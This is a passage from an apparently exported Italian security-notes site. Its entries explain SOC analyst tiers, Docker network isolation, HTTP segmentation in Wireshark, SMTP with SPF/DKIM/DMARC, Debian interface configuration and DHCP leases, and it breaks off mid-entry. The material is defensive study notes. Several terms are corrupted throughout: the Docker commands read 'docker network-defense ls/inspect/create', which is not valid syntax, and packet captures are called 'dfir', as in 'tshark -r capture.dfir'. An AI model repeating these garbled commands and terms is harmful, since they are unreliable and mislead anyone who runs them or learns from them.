L'Evoluzione del SOC: Verso l'Analista 2.0 (Tier 2/Engineer) # Il Tier 1 nell'era dell'AI # Nel SOC moderno (2026), il Tier 1 \u0026quot;manuale\u0026quot; (occhi incollati ai monitor 24/7) è in via di estinzione.\nAutomazione (SOAR): Le azioni ripetitive (bloccare IP, isolare host) sono delegate a script. AI Triage: Strumenti di AI filtrano il rumore iniziale, distinguendo tra errori utente e attacchi reali. Conseguenza: Il mercato non cerca più \u0026quot;operatori\u0026quot; ma Ingegneri capaci di configurare e supervisionare questi sistemi. Il Vantaggio del Developer (Senior Engineer) # Puntare direttamente al Tier 2/Detection Engineer è la strategia vincente per chi ha un background di sviluppo:\nComprensione del Codice: Un analista junior segue un playbook; un developer capisce perché un exploit funziona e come bloccarlo a livello di codice. Automazione della Difesa: Invece di eseguire un task 100 volte, il developer scrive lo script (es. log_analyzer_ai.py) per farlo in automatico. Obiettivo Finale: Profilo da Purple Team Specialist (Attacco + Difesa + Automazione). Livelli e Attività Operative # Tier 1 — Monitor \u0026amp; Triage Specialist # Il primo punto di contatto. L'obiettivo è la velocità e la pulizia del rumore.\nFocus: Monitoraggio continuo e filtraggio degli alert. Attività chiave: Controllo alert da SIEM ed EDR. Classificazione True/False Positive. Applicazione di Playbook base. Escalation: Passaggio al Tier 2 per casi dubbi o complessi. Tier 2 — Incident Responder # L'investigatore tecnico. Interviene quando l'alert è confermato o sospetto.\nFocus: Indagine approfondita e risposta attiva agli incidenti. Attività chiave: Analisi tecnica dettagliata ed escalation dal Tier 1. Correlazione log da fonti multiple (Network, Endpoint, Cloud, AD). Gestione delle fasi di Incident Response (Contenimento, Eradicazione, Recovery). Tuning delle regole e miglioramento dei playbook. Tier 3 — Threat Hunter / Forensics Expert # L'esperto senior proattivo.\nFocus: Threat Hunting, casi complessi e miglioramento strutturale. Attività chiave: Threat Hunting: Ricerca di minacce non rilevate dai sistemi automatici (IOA). Analisi malware e Reverse Engineering. Digital Forensics: Ricostruzione timeline e analisi esfiltrazione dati. Studio delle TTP di gruppi APT. Strumenti Fondamentali del SOC # SIEM (Security Information and Event Management) # Raccoglie e correla log da tutta l'infrastruttura per generare alert centralizzati (es: wazuh).\nEDR (Endpoint Detection and Response) # Monitora le attività interne agli host. Permette al Tier 2 di ricostruire la timeline esatta delle azioni dell'attaccante.\nPlaybook # Procedura operativa standard (SOP) che guida l'analista nella risposta. Fondamentale per l'automazione.\nSIEM # (Security Information and Event Management): Software centrale che raccoglie, correla e analizza i log dell'infrastruttura (es: wazuh, Splunk).\nGlossario Sigle SOC (BTL1 Focus) # Sigla Significato MTTD Mean Time to Detect — Tempo medio per accorgersi di un attacco. MTTR Mean Time to Respond — Tempo medio per isolare o risolvere la minaccia. IOA Indicators of Attack — Comportamenti sospetti in corso. IOC Indicators of Compromise — Tracce di un attacco avvenuto (IP, Hash). TTP Tactics, Techniques, Procedures — Il modus operandi dell'attaccante. Collegato a # observability — Hub Categoria incident-response-lifecycle — Processo operativo mitre-attack — Framework TTP ","date":"20 aprile 2026","externalUrl":null,"permalink":"/concetti/soc-tiers/","section":"Concetti","summary":"Livelli gerarchici del SOC, attività operative Tier 1-3, impatto dell'AI (SOC 2.0) e vantaggi del background da Developer.","title":"SOC Tiers - Ruoli e Responsabilità","type":"concetti"},{"content":" Cosa fa # Docker crea reti virtuali isolate tra i container. Ogni rete e' come un palazzo separato — i container dentro si vedono tra loro, quelli fuori non esistono. Il DNS interno risolve i nomi dei container automaticamente.\nTL;DR # # Senza reti esplicite: ogni compose crea la sua rete isolata # I container di compose diversi non si parlano # Con reti condivise: i container si trovano per nome n8n ────► postgres (stessa rete \u0026#34;internal\u0026#34;) └── n8n raggiunge postgres con hostname \u0026#34;postgres\u0026#34; # Traefik vede solo i container sulla rete \u0026#34;web\u0026#34; browser ──► traefik ──► app (rete web) NON vede postgres (solo rete internal) Le reti Docker replicano la segmentazione di rete: ogni servizio e' esposto solo a chi deve vederlo.\nAnalogia — il condominio con citofoni # Condominio A (rete internal): Condominio B (rete web): postgres ←→ redis traefik ←→ rails rails ←→ postgres rails sta in ENTRAMBI i condomini — ha due citofoni. postgres sta solo nel condominio A — dall\u0026#39;esterno non lo raggiungi. Tipi di rete # graph TD subgraph Host fisico subgraph BridgeDefault[\"bridge default - docker0 - 172.17.0.x\"] A[Container A] B[Container B] A \u003c--\u003e|IP fisso| B end subgraph BridgeCustom[\"bridge custom - mynetwork\"] C[Traefik] D[Chatwoot] C \u003c--\u003e|nome container| D end subgraph HostNet[\"host - nessun isolamento\"] E[Container E] end BridgeDefault --\u003e|NAT| eth0 BridgeCustom --\u003e|porta esposta| eth0 HostNet --\u003e|accesso diretto| eth0 end eth0 --\u003e Internet Tipo Isolamento DNS interno Quando usare bridge default Parziale No — solo IP Test rapidi bridge custom Completo Si — per nome Produzione host Nessuno N/A Performance massima none Totale N/A Container completamente isolato DNS interno Docker # Nelle reti bridge custom, Docker avvia un DNS interno. I container si raggiungono per nome — non per IP:\n# Rete default — devi conoscere l\u0026#39;IP (cambia ad ogni riavvio) ping 172.17.0.3 # fragile # Rete custom — usi il nome del servizio docker-compose ping postgres # stabile, sempre funziona ping redis ping chatwoot Questo e' il motivo per cui nel docker-compose si scrive:\n# .env DATABASE_URL=postgresql://user:pass@postgres:5432/chatwoot # ^^^^^^^^ # nome del container — non IP REDIS_URL=redis://redis:6379 Owned vs External # Ogni rete ha un compose che la possiede (la crea) e altri che la usano.\n# Chi CREA la rete (proprietario) # traefik/docker-compose.yml networks: web: name: web # nome fisico fisso su Docker # Chi USA la rete (tutti gli altri) # n8n/docker-compose.yml networks: web: external: true # \u0026#34;non crearla, cercala gia esistente\u0026#34; name: web Il proprietario naturale di una rete e' il servizio che:\nvive piu' a lungo degli altri e' il primo ad avviarsi e' l'ultimo a spegnersi Nome fisso con name: # Senza name:, Docker usa il prefisso della cartella del compose:\ncartella: infra/traefik/ rete dichiarata: web risultato: traefik_web ← dipende dalla cartella Con name: web il nome e' sempre web, indipendentemente da dove sta il compose.\nCosa succede se la rete non esiste # Se un compose dichiara external: true e la rete non esiste:\ndocker compose up ERROR: Network \u0026#34;web\u0026#34; declared as external, but could not be found. Se si tenta di eliminare una rete ancora in uso:\ndocker compose down # su traefik Network web Resource is still in use Docker si rifiuta — comportamento di protezione corretto.\nImportant L'ordine di avvio e' critico: il compose proprietario della rete deve partire per primo. Chi usa external: true deve partire dopo.\nOrdine di avvio # Con reti external: true, l'ordine in cui avvii i compose e' obbligatorio:\n# 1. Prima il proprietario della rete — la crea docker compose up -d # traefik — crea la rete \u0026#34;web\u0026#34; # 2. Poi chi usa la rete docker compose up -d # app — usa \u0026#34;web\u0026#34; con external: true Se avvii nell'ordine sbagliato:\nERROR: Network \u0026#34;web\u0026#34; declared as external, but could not be found. Il problema piu' comune e' avviare i compose nell'ordine sbagliato al reboot del server. Soluzione: script di avvio ordinato, o depends_on se i servizi sono nello stesso compose.\nEsempio reale — due reti con Traefik # graph TD Internet --\u003e|443| T[Traefik] subgraph web[\"Rete web - condivisa con Traefik\"] T --\u003e|HTTP interno| App[app :3000] end subgraph internal[\"Rete internal - isolata\"] App \u003c--\u003e|SQL| PG[postgres :5432] App \u003c--\u003e|cache| Redis[redis :6379] end # docker-compose.yml services: postgres: networks: - internal # solo rete interna — non raggiungibile da Traefik app: networks: - internal # parla con postgres e redis - web # parla con Traefik networks: internal: driver: bridge web: external: true # esiste gia\u0026#39; — creata da Traefik external: true Con external: true si fa riferimento a una rete gia' esistente, creata da un altro compose.\nPorte — esporre vs non esporre # # EXPOSE nel Dockerfile — solo documentazione, non apre nulla EXPOSE 3000 # ports in docker-compose — apre la porta sull\u0026#39;host ports: - \u0026#34;3000:3000\u0026#34; # 0.0.0.0:3000 → tutti gli IP dell\u0026#39;host - \u0026#34;127.0.0.1:3000:3000\u0026#34; # solo localhost → non raggiungibile da fuori Warning Rete Docker chiamata web e porta esposta su internet sono due cose diverse:\nRete web = canale virtuale tra container, NON esposta su internet 0.0.0.0:443:443 = porta esposta su internet 127.0.0.1:5432:5432 = solo localhost, non su internet Traefik — exposedByDefault e label # Con --providers.docker.exposedbydefault=false, Traefik non espone automaticamente tutti i container sulla rete web. Un container e' visibile solo con il label esplicito:\nlabels: - \u0026#34;traefik.enable=true\u0026#34; Se il label non c'e', Traefik ignora il container anche se e' sulla stessa rete.\nComandi essenziali # Comando Cosa fa docker network-defense ls Lista tutte le reti docker network-defense inspect web Dettagli: IP, container connessi, subnet, driver docker network-defense create mynetwork Crea rete custom docker network-defense connect mynetwork C1 Aggiunge container a rete docker network-defense disconnect web C1 Rimuove container da rete docker network-defense prune Elimina reti non usate da nessun container docker ps -a --filter network=web Trova tutti i container su una rete specifica Warning Un container senza rete esplicita finisce sulla rete bridge default — dove tutti i container si vedono per IP. In produzione definisci sempre reti custom esplicite.\nTip Per verificare che due container non si parlino (isolamento corretto): docker exec container_A ping container_B — se il ping fallisce, l'isolamento funziona.\nScenario Reale # Un database non deve mai essere raggiungibile da Traefik o da internet. Si mette su una rete internal senza external: true in Traefik. Solo il container applicativo, che ha bisogno di entrambe le reti, fa da tramite tra web e internal.\nNote personali # Il problema piu' comune e' avviare i compose nell'ordine sbagliato. Se un compose usa external: true e il proprietario non e' ancora partito, il compose fallisce immediatamente con external network-defense not found.\nLa rete internal non deve mai avere container esposti su web — se un DB finisce su web e' un errore di configurazione, non un comportamento intenzionale.\nCollegato a # system — categoria docker-compose — dove si definiscono le reti docker-security — isolamento come difesa docker-volumes — stesso pattern owned/external applicato ai volumi reverse-proxy — Traefik vive nella rete web ","date":"18 aprile 2026","externalUrl":null,"permalink":"/concetti/docker-network/","section":"Concetti","summary":"Docker crea reti virtuali isolate tra container. I container sulla stessa rete si vedono per nome (DNS interno). Quelli su reti diverse non si parlano - isolamento per design.","title":"Docker Network","type":"concetti"},{"content":" Cosa fa # Descrive come una sessione HTTP appare in un dfir — perché i dati viaggiano come segmenti TCP e non come pacchetti HTTP, e come Wireshark riassembla lo stream.\nTL;DR # HTTP è application layer — comanda. TCP è transport layer — trasporta. In Wireshark vedi HTTP solo nei pacchetti di controllo (GET, 200 OK). I dati viaggiano come segmenti TCP puri.\nGET / HTTP/1.1 → pacchetto HTTP (visibile) [dati HTML] → segmenti TCP (etichettati TCP, non HTTP) HTTP/1.1 200 OK → pacchetto HTTP (visibile, dopo reassembly) Flusso completo di una GET request in dfir # Pkt 1-3: TCP handshake (SYN / SYN-ACK / ACK) Pkt 4: HTTP GET / ← unico pacchetto HTTP in uscita Pkt 5: TCP ACK ← server riceve la GET Pkt 6-10: TCP segments ← dati HTML in arrivo (protocol = TCP, non HTTP) Pkt 11: TCP ACK ← client ha ricevuto tutto Pkt 12: HTTP 200 OK ← Wireshark reassembla, mostra layer HTTP Perché i pacchetti dati appaiono come TCP e non HTTP:\nI segmenti dati intermedi non contengono header HTTP — solo payload. Wireshark li etichetta come TCP segment of a reassembled PDU finché non arriva l'ultimo segmento, poi ricostruisce lo stream completo.\nTCP Segmentation — MSS # I dati vengono spezzati in segmenti da 1460 bytes (MSS — Maximum Segment Size per Ethernet). Esempio: 4633 bytes di HTML → 4 segmenti:\nSegmento 1: 1460 bytes Segmento 2: 1460 bytes Segmento 3: 1460 bytes Segmento 4: 253 bytes ← ultimo, più piccolo Nagle's Algorithm — bulk transfer vs reverse shell # Contesto Nagle Comportamento HTTP bulk transfer attivo aggrega dati fino a MSS, massimizza throughput Reverse shell interattiva disattivo (TCP_NODELAY) spedisce ogni carattere immediatamente Note Una reverse shell con Nagle attivo risulterebbe lagosa — ogni tasto aspetterebbe di \u0026quot;riempire\u0026quot; un segmento prima di essere inviato. Per questo le shell interattive usano TCP_NODELAY.\ngzip compression in dfir # La maggior parte dei server invia HTML compresso (Content-Encoding: gzip). In Wireshark:\nNei segmenti TCP intermedi vedi payload binario compresso — illeggibile Solo nell'ultimo pacchetto (dopo reassembly) Wireshark mostra Content-encoded entity body (gzip): 4633 bytes → 11308 bytes Per leggere l'HTML: Follow TCP Stream — Wireshark decomprime automaticamente Tip Se stai analizzando traffico HTTP sospetto e vedi solo dati binari nei segmenti, non è necessariamente cifratura — potrebbe essere semplice gzip. Usa \u0026quot;Follow TCP Stream\u0026quot; per vedere il contenuto reale.\nI due semafori — TCP vs HTTP # Ogni sessione HTTP ha due livelli di conferma indipendenti:\nLivello Conferma Significato TCP ACK \u0026quot;i tuoi byte sono arrivati\u0026quot; Trasporto ok — nulla sull'applicazione HTTP Status \u0026quot;la tua richiesta è stata processata\u0026quot; Applicazione ok (o no) Possono contraddirsi:\nTCP ACK → verde (i byte sono arrivati) HTTP 500 → rosso (il server non ha saputo gestire la richiesta) Il TCP ACK è il postino che firma la ricevuta. L'HTTP status code è il destinatario che risponde al contenuto della lettera.\nIn realtà ci sono tre livelli sovrapposti:\nEthernet/IP → frame arrivato al router corretto (layer 2-3) TCP ACK → segmenti arrivati intatti all\u0026#39;host (layer 4) HTTP Status → applicazione ha processato la richiesta (layer 7) Tip Esempio concreto — commento WordPress: POST dati commento → TCP ACK immediato (byte ricevuti) → WordPress scrive su DB → HTTP 302 (commento salvato, redirect). Se il DB fosse down: TCP ACK arriva comunque, poi HTTP 500. Il semaforo TCP è verde, quello applicativo è rosso.\nScenario Reale — Blue Team # In un dfir di un alert Wazuh, vedi una sequenza anomala:\nTCP SYN → SYN-ACK → ACK handshake normale HTTP POST /upload richiesta upload TCP segments × 200 trasferimento dati massiccio HTTP 200 OK upload completato 200 segmenti TCP per un POST /upload a un host esterno sconosciuto → probabile exfiltration dati. Il fatto che appaiano come TCP e non HTTP non significa che non sia traffico HTTP.\nCollegato a # network — hub http-in-detail — prospettiva applicativa (metodi, header, cookie) tcp-handshake — il 3-way handshake che precede ogni sessione HTTP wireshark — tool di analisi dfir tshark — versione CLI per automazione ","date":"17 aprile 2026","externalUrl":null,"permalink":"/concetti/http-wireshark/","section":"Concetti","summary":"Come appare una sessione HTTP in Wireshark: TCP segmentation, MSS, Nagle's algorithm, gzip. Prospettiva packet analysis.","title":"HTTP in Wireshark - TCP Segmentation e Packet Analysis","type":"concetti"},{"content":" Cosa fa # SMTP è il protocollo che trasporta le email dal client al server e tra server — si occupa solo della consegna, non dello storage (quello è IMAP/POP3).\nTL;DR # SMTP → consegna (postino) porta 25 server-to-server, 587 client-to-server IMAP → leggi le email (cassetta) porta 993 POP3 → scarica le email porta 995 SMTP non sa nulla della cassetta delle lettere. Consegna e sparisce. Analogia postale # Mittente Ufficio postale locale Ufficio postale remoto Destinatario (scrive la lettera) --\u0026gt; (smista per zona) --\u0026gt; (smista localmente) --\u0026gt; (cassetta) Stesso dominio (local delivery): Mittente --\u0026gt; MTA locale --\u0026gt; cassetta destinatario Domini diversi (outside delivery): Mittente --\u0026gt; MTA mittente --\u0026gt; MTA destinatario --\u0026gt; cassetta destinatario Architettura — MUA e MTA # Componente Sigla Ruolo Esempi Mail User Agent MUA Client email — componi e leggi Outlook, Thunderbird, Gmail web Mail Transfer Agent MTA Server email — smista e consegna Postfix, Exchange, Sendmail Mail Delivery Agent MDA Deposita nella casella del destinatario Dovecot (spesso integrato in MTA) Mail Submission Agent MSA Riceve dal client MUA, porta 587 Spesso è il MTA stesso Dal punto di vista network-defense interessa solo la coppia MUA → MTA e MTA → MTA.\nFlusso stesso dominio:\nMUA (user1@abc.com) --SMTP 587--\u0026gt; MTA (abc.com) --IMAP/POP3--\u0026gt; MUA (user2@abc.com) Flusso domini diversi:\nMUA (user1@abc.com) --SMTP 587--\u0026gt; MTA (abc.com) --SMTP 25--\u0026gt; MTA (xyz.com) --IMAP/POP3--\u0026gt; MUA (user2@xyz.com) Note Il MTA usa DNS per trovare il server destinatario: cerca il record MX del dominio destinatario, poi apre una connessione SMTP sulla porta 25 verso quell'IP.\nPorte SMTP # Porta Uso Note 25 Server-to-server (MTA → MTA) Spesso bloccata dagli ISP per utenti normali — previene spam 587 Client-to-server (MUA → MTA) Autenticata, con STARTTLS 465 SMTPS (SMTP over TLS) Legacy ma ancora usata, connessione cifrata dall'inizio SMTP in chiaro — cosa si vede in Wireshark # SMTP senza TLS è completamente leggibile in dfir. Una sessione tipica:\nClient: EHLO mittente.com Server: 250-smtp.destinatario.com Hello Server: 250-STARTTLS Server: 250 OK Client: MAIL FROM:\u0026lt;user1@abc.com\u0026gt; Server: 250 OK Client: RCPT TO:\u0026lt;user2@xyz.com\u0026gt; Server: 250 OK Client: DATA Server: 354 Start input, end with \u0026lt;CRLF\u0026gt;.\u0026lt;CRLF\u0026gt; Client: From: user1@abc.com To: user2@xyz.com Subject: Test [corpo email] . Server: 250 OK: queued Client: QUIT Server: 221 Bye Warning Su connessioni SMTP in chiaro (no TLS), mittente, destinatario, subject e body sono visibili in chiaro nel dfir — come una cartolina postale. STARTTLS cifra la sessione dopo il comando iniziale.\nDNS MX — stesso meccanismo del DNS web # I record MX funzionano esattamente come i record A per il web — stessa catena resolver → root → TLD → authoritative NS. L'unica differenza:\n# Web: record A → IP diretto dig A gmail.com → 142.250.x.x # Email: record MX → hostname, poi serve seconda query A dig MX gmail.com → gmail-smtp-in.l.google.com (priority 5) dig A gmail-smtp-in.l.google.com → 142.250.x.x I record MX hanno una priority — numero più basso = preferito. Se il server primario è down, il MTA prova il successivo in ordine di priorità. È un failover nativo del protocollo.\ndig MX gmail.com # gmail-smtp-in.l.google.com priority 5 ← primo tentativo # alt1.gmail-smtp-in.l.google.com priority 10 # alt2.gmail-smtp-in.l.google.com priority 20 # alt3.gmail-smtp-in.l.google.com priority 30 Flusso completo in dfir — 3 step # Step 1 — Client → MTA locale (porta 587) # Sequenza comandi nel TCP stream:\n220 mail01 ESMTP Postfix (Ubuntu) ← server annuncia identità e software EHLO [172.16.16.225] ← client si presenta con IP 250-STARTTLS ← server lista feature supportate 250-SIZE 10240000 250-VRFY ... MAIL FROM:\u0026lt;user1@skynet.local\u0026gt; SIZE=556 ← mittente + dimensione 250 2.1.0 Ok RCPT TO:\u0026lt;user2@cyberdyne.local\u0026gt; ← destinatario 250 2.1.5 Ok DATA ← inizio trasmissione body 354 End data with \u0026lt;CR\u0026gt;\u0026lt;LF\u0026gt;.\u0026lt;CR\u0026gt;\u0026lt;LF\u0026gt; ← server pronto, termina con punto [headers + body email in chiaro] . ← fine messaggio 250 2.0.0 Ok: queued as 931C4400D5 ← accettato, in coda QUIT 221 2.0.0 Bye User-Agent nel body — dentro il DATA viaggiano header che rivelano il client (Thunderbird/38.5.0, Outlook/...). Dato utile in un'indagine forense.\nskynet.local — dominio con .local = rete interna aziendale, non raggiungibile da internet. Tutto il traffico rimane sulla LAN anche se i client usano Outlook o Thunderbird.\nStep 2 — MTA locale → MTA remoto (porta 25) # Stesso identico protocollo SMTP. Il server non sa se sta parlando con un client o un altro MTA — applica le stesse regole.\nHeader Received: — traccia forense — ogni MTA che tocca l'email aggiunge una riga in cima al body:\nReceived: from [172.16.16.225] by mail01 with ESMTP id 931C4400D5 for \u0026lt;user2@cyberdyne.local\u0026gt;; Tue, 29 Dec 2015 14:13:51 -0500 Leggendo questi header dal basso verso l'alto ricostruisci il percorso completo hop per hop — utile per tracciare phishing o spam.\nFeature negotiation tra server — il EHLO/250 permette a server con software diversi (Postfix, Exchange, Sendmail) di capirsi. È il motivo per cui puoi mandare email da Gmail a Outlook senza problemi di compatibilità.\nFiltro Wireshark per isolare una connessione specifica:\ntcp.stream == 1 Step 3 — MTA remoto → Client finale (IMAP + STARTTLS) # Il client recupera l'email con IMAP. La connessione inizia in chiaro, poi:\nPkt 16-18: TCP handshake (porta 143 IMAP) Pkt 19: IMAP: * OK [CAPABILITY...] Dovecot ready ← Dovecot = MDA su Linux Pkt 21: IMAP: STARTTLS ← client chiede cifratura Pkt 23: IMAP: 1 OK Begin TLS negotiation now Pkt 24-27: TLSv1.2 handshake Pkt 28+: Application Data ← tutto cifrato Dovecot — come Postfix è l'MTA, Dovecot è l'MDA/IMAP server su Linux. Compare nel banner iniziale.\nTraffico cifrato in Wireshark = rumore — dopo STARTTLS il Follow TCP Stream mostra solo caratteri casuali. È la conferma visiva che TLS funziona. Se una sessione IMAP/SMTP rimane leggibile fino alla fine → misconfiguration.\nIMAP vs POP3 # IMAP POP3 Porta 143 (993 con TLS) 110 (995 con TLS) Email sul server rimangono vengono scaricate e cancellate Sincronizzazione multi-device sì no Uso oggi standard legacy Email Spoofing — aggiornamento rispetto al libro # Il libro (2011) non tratta questo — oggi è fondamentale.\nIl campo From: in SMTP è liberamente falsificabile. Chiunque può spedire un'email apparentemente da ceo@azienda.com senza avere accesso a quell'account. I meccanismi difensivi moderni:\nMeccanismo Cosa fa Record DNS SPF Elenca gli IP autorizzati a spedire per quel dominio TXT record DKIM Firma crittografica del mittente — verificabile dal destinatario TXT record DMARC Policy su cosa fare se SPF/DKIM falliscono (quarantine/reject) TXT record # Verifica SPF di un dominio dig TXT gmail.com | grep spf # Verifica DKIM (selector specifico) dig TXT google._domainkey.gmail.com # Verifica DMARC dig TXT _dmarc.gmail.com Important Un dominio senza SPF/DKIM/DMARC è vulnerabile a phishing e BEC (Business Email Compromise). In un security assessment, l'assenza di questi record è una finding critica.\nAllegati SMTP — MIME multipart e base64 # SMTP nasce per testo. Gli allegati ci sono stati aggiunti dopo con MIME (Multipurpose Internet Mail Extensions) — lo stesso standard che HTTP usa per il Content-Type.\nQuando un'email ha un allegato, il Content-Type diventa multipart/mixed con un boundary — una stringa casuale che separa le parti:\nContent-Type: multipart/mixed; boundary=\u0026#34;------------050407080301000500070000\u0026#34; --------------050407080301000500070000 Content-Type: text/plain; charset=utf-8 ← parte 1: testo email Content-Transfer-Encoding: 7bit Testo del messaggio... --------------050407080301000500070000 Content-Type: image/jpeg; name=\u0026#34;newguy.jpg\u0026#34; ← parte 2: allegato Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=\u0026#34;newguy.jpg\u0026#34; /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgMCAgMD... ← dati binari in base64 Concetti chiave:\nbase64 non è cifratura — è solo un modo per trasmettere dati binari su un canale testuale. Qualsiasi attaccante che intercetta il dfir può estrarre il file in pochi secondi. In Wireshark: Follow TCP Stream → Save as → decodifica base64 → file originale.\nMIME boundary — il client sceglie una stringa casuale lunga e improbabile. Il server sa dove finisce una parte e inizia la prossima cercando quella stringa. Lo stesso meccanismo usato nelle API REST con multipart/form-data.\nSIZE nel MAIL FROM — nota che con l'allegato la dimensione è SIZE=76692 (75KB) contro i 556 bytes del messaggio di solo testo. Il server usa questo valore per decidere se accettare prima ancora di ricevere i dati.\nWarning Un'email con allegato su SMTP senza TLS è completamente estraibile dal dfir — testo, allegato, nome file. Base64 è reversibile istantaneamente. Se vedi traffico SMTP in chiaro con grandi SIZE → possibile exfiltration dati tramite email.\nScenario Reale — Blue Team # Alert Wazuh: connessione SMTP in uscita dalla workstation 192.168.1.45 verso IP esterno sulla porta 25.\nUna workstation normale non dovrebbe mai aprire connessioni SMTP dirette — usa il mail server aziendale sulla 587. Traffico SMTP diretto da una workstation = probabile malware che invia spam o esfiltrazione dati via email.\n# Analisi dfir — estrai sessioni SMTP tshark -r capture.dfir -Y \u0026#34;smtp\u0026#34; -T fields -e ip.src -e ip.dst -e smtp.req.command -e smtp.req.parameter Collegato a # network — hub dns-resolution-flow — il MTA usa record MX per trovare il server destinatario wireshark — analisi dfir sessioni SMTP tshark — estrazione automatica campi SMTP ","date":"17 aprile 2026","externalUrl":null,"permalink":"/concetti/smtp/","section":"Concetti","summary":"SMTP trasporta le email tra server. Architettura MUA/MTA, porte, flusso di consegna, email spoofing e meccanismi difensivi SPF/DKIM/DMARC.","title":"SMTP - Simple Mail Transfer Protocol","type":"concetti"},{"content":" Cosa fa # Definisce la configurazione di rete delle interfacce su sistemi Debian e derivate (inclusa Kali). Letto all'avvio dal servizio networking.\nSintassi base # # loopback — sempre presente, non toccare auto lo iface lo inet loopback # interfaccia con IP statico auto eth0 iface eth0 inet static address 192.168.64.200 netmask 255.255.255.0 gateway 192.168.64.1 # interfaccia con DHCP auto eth0 iface eth0 inet dhcp Direttiva Significato auto attiva l'interfaccia automaticamente all'avvio iface definisce il nome e il protocollo dell'interfaccia inet static inet = IPv4, static = IP fisso configurato manualmente inet dhcp dhcp = IP assegnato via DHCP address indirizzo IPv4 dell'interfaccia netmask maschera di rete gateway default gateway per il traffico uscente Comandi essenziali # Comando Significato flag Cosa fa sudo systemctl restart networking — ricarica tutta la configurazione di rete sudo ifdown eth0 \u0026amp;\u0026amp; sudo ifup eth0 down/up — abbassa e rialza l'interfaccia riavvia solo una singola interfaccia ip addr show eth0 addr show — mostra indirizzi verifica che l'IP sia stato applicato Dove si trova # /etc/network/interfaces # file principale /etc/network/interfaces.d/* # file aggiuntivi inclusi con source Scenario Reale # Su un sistema Linux investigato, leggere /etc/network/interfaces dice subito se l'IP è statico o DHCP. Un IP statico non dichiarato nei tuoi asset (inet static con indirizzo fuori dal range noto) è un segnale — potrebbe essere un dispositivo non autorizzato o una modifica post-compromissione per garantire raggiungibilità.\nCollegato a # system — categoria dhcp — alternativa dinamica all'IP statico netplan — equivalente Ubuntu (formato YAML) ip-addressing-subnetting — concetti di indirizzamento sottostanti ","date":"16 aprile 2026","externalUrl":null,"permalink":"/comandi/interfaces/","section":"Comandi","summary":"File di configurazione rete su Debian e derivate (Kali). Definisce interfacce, IP statico o DHCP, gateway. Letto all'avvio dal servizio networking.","title":"/etc/network/interfaces - configurazione rete Debian/Kali","type":"comandi"},{"content":" Cosa fa # Protocollo che assegna automaticamente configurazione di rete ai dispositivi che si connettono — IP address, subnet mask, gateway, DNS. Senza DHCP ogni dispositivo dovrebbe essere configurato manualmente.\nTL;DR # Dispositivo si connette alla rete: → manda broadcast \u0026#34;c\u0026#39;è un server DHCP?\u0026#34; → server risponde con IP, gateway, DNS, lease → dispositivo conferma → server registra l\u0026#39;assegnazione e riparte il timer Usa UDP porta 67 (server) e 68 (client) — non TCP. Il ciclo si chiama DORA: Discover → Offer → Request → ACK. Perché è nato # Prima di DHCP esisteva BOOTP (Bootstrap Protocol, 1985). Funzionava così: l'amministratore creava una tabella manuale con MAC → IP per ogni dispositivo della rete. Funzionava per reti piccole e statiche, ma non scalava:\nogni nuovo dispositivo → intervento manuale dispositivi temporanei (laptop, ospiti) → problema reti grandi con centinaia di host → impossibile da gestire DHCP (1993) ha risolto il problema introducendo il concetto di lease — l'IP viene \u0026quot;affittato\u0026quot; per un tempo limitato, non assegnato per sempre. Il server gestisce un pool dinamico: assegna, recupera, riassegna. Zero intervento manuale.\nNote Wireshark mostra ancora i pacchetti DHCP come \u0026quot;Bootstrap Protocol\u0026quot; — eredità storica del nome originale BOOTP, su cui DHCP è costruito.\nCome funziona — DORA # DHCP usa UDP, non TCP. Il client non ha ancora un IP → non può fare un handshake TCP. Il broadcast non è supportato da TCP. UDP è l'unica scelta.\nPorte fisse:\n67/udp — bootps — porta del server DHCP 68/udp — bootpc — porta del client DHCP [Client] 0.0.0.0:68 [Server] 192.168.1.5:67 │ │ │── 1. DISCOVER ─────────────────────────────► │ │ src: 0.0.0.0 dst: 255.255.255.255 │ │ TX ID: 0x3d1d \u0026#34;chi è il server DHCP?\u0026#34; │ │ │ │◄── 2. OFFER ──────────────────────────────────│ │ TX ID: 0x3d1d (stesso — identifica il ciclo)│ │ \u0026#34;propongo: 192.168.1.10, lease 24h, │ │ gateway 192.168.1.1, DNS 8.8.8.8\u0026#34; │ │ │ │── 3. REQUEST ──────────────────────────────► │ │ src: 0.0.0.0 dst: 255.255.255.255 │ │ TX ID: 0x3d1d \u0026#34;accetto 192.168.1.10\u0026#34; │ │ │ │◄── 4. ACK ────────────────────────────────────│ │ src: 192.168.1.5 dst: 192.168.1.10 │ │ (unicast — il server conosce già il MAC) │ │ \u0026#34;confermato, è tuo per 24 ore\u0026#34; │ Transaction ID — numero casuale generato dal client nel Discover. Il server lo copia in Offer, Request e ACK. Serve per abbinare le risposte alla richiesta giusta in una rete con molti client e magari più server DHCP. Il client confronta: \u0026quot;questo TX ID è mio? No → ignoro.\u0026quot;\nL'ACK va in unicast — tutti e tre i pacchetti precedenti sono broadcast. L'ACK no: il server conosce già il MAC del client dal Request, quindi usa unicast diretto. Il client non ha ancora configurato l'IP sulla propria interfaccia, ma a livello Ethernet il pacchetto arriva tramite MAC address.\nLease — la scadenza dell'IP # DHCP non assegna IP per sempre — assegna un \u0026quot;affitto\u0026quot; (lease) con una durata. Router casalinghi: tipicamente 24 ore. Reti enterprise: 8 ore.\nIl rinnovo avviene in anticipo rispetto alla scadenza:\nTempo Evento T=0h assegnazione IP — DORA completo T=12h primo tentativo rinnovo — unicast al server (50% del lease) — solo Request + ACK T=21h secondo tentativo — broadcast (87.5%), se il primo è fallito T=24h lease scaduto → DORA completo da zero In-lease renewal — al 50% il client manda direttamente un Request in unicast al server (sa già chi è e qual è il suo IP). Il server risponde con ACK e resetta il timer. Se sei sempre connesso e il server risponde, non arrivi mai al 87.5%.\nOut-of-lease renewal — lease scaduto, si riparte con DORA completo.\nIl lease database # Il server DHCP mantiene un file persistente con tutti i lease attivi. Non è un database relazionale (MySQL, Postgres) — è quasi sempre un file di testo strutturato:\n# Su Linux con isc-dhcp-server: cat /var/lib/dhcp/dhcpd.leases # Contenuto tipico: # lease 192.168.1.10 { # starts 4 2026/04/16 08:00:00; # ends 4 2026/04/16 20:00:00; # hardware ethernet 00:0c:29:59:fd:21; # } Deve essere persistente (sopravvive al riavvio del server) perché se il server DHCP si riavvia senza memoria di cosa ha assegnato, potrebbe dare lo stesso IP a due client diversi — conflitto IP, entrambi smettono di funzionare. La ARP cache è volatile e si ricostruisce da sola; il lease database non può permetterselo.\nDHCP 